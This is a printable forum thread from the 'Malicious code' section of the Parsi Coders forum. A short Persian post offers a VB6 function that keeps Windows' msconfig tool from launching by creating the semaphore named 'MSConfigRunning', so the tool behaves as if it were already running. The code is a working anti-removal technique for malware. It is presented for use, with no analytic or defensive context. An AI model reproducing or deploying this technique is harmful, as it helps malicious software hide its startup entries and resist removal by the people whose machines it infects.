Parsi Coders
[VB6] DisableMsConfig - نسخه قابل چاپ

+- Parsi Coders (http://parsicoders.com)
+-- انجمن: Security and influence (http://parsicoders.com/forumdisplay.php?fid=59)
+--- انجمن: Influence (http://parsicoders.com/forumdisplay.php?fid=61)
+---- انجمن: Malicious code (http://parsicoders.com/forumdisplay.php?fid=62)
+---- موضوع: [VB6] DisableMsConfig (/showthread.php?tid=1084)



[VB6] DisableMsConfig - Amin_Mansouri - 10-17-2011

با سورس زیر میتونید msconfig رو غیز فعال کنید.
کد:
'KERNEL32
Private Declare Function CreateSemaphoreW Lib "KERNEL32" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long

'---------------------------------------------------------------------------------------
' Procedure : DisableMsConfig
' Author    : Karcrack
' Date      : 12/08/2010
'---------------------------------------------------------------------------------------
'
Public Function DisableMsConfig() As Boolean
    Call CreateSemaphoreW(0, 0, 1, StrPtr("MSConfigRunning"))
    DisableMsConfig = (Err.LastDllError = 0)
End Function